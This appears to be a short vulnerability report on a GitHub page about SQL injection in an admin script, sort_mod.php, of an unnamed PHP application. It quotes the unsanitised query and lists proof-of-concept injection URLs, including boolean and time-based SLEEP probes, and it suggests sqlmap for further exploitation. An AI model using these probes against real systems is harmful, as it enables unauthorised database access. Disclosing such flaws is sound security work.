jsjbcyber Update bug_j History

1 contributor

28 lines (24 sloc) | 1.01 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/news/sort_mod.php
--------------------------------
affected source code:

    <?php
    .....
        $id= getvar('id');
          .....
        $list = $db->getOneRow(get_sql("select * from {pre}class where id = " . $id));
        .....
    ?>



--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  After Signing in to the background in advance. Then:
  Like this:
            http://xx.xx.com/admin/news/sort_mod.php?id=1'
            http://xx.xx.com/admin/news/sort_mod.php?id=1 and 1=1
            http://xx.xx.com/admin/news/sort_mod.php?id=1 and 1=2
            http://xx.xx.com/admin/news/sort_mod.php?id=1 RLIKE SLEEP(2)


Then, we can use tools like sqlmap for more information.
```